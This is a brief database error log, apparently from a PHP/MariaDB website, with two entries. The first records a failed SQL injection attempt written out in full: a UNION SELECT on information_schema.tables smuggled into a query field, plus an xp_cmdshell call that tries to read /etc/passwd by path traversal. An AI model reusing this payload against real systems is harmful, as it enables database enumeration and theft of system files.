Time : 10:25:05 SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ') AND 1=1 UNION ALL SELECT 1,NULL,'',table_name F' at line 1 Raw SQL : SELECT COUNT(*) FROM 2015_post WHERE no > :no AND d_show = :show AND del = :del AND category LIKE :category AND type='A') AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#' Time : 08:44:27 SQLSTATE[HY093]: Invalid parameter number Raw SQL : INSERT INTO 2015_kakaotalk (store, name, subject, phone, wr_1, ip, reg_date) VALUES(:store, :name, :subject, :phone, :wr_1, INET_ATON(:ip), now())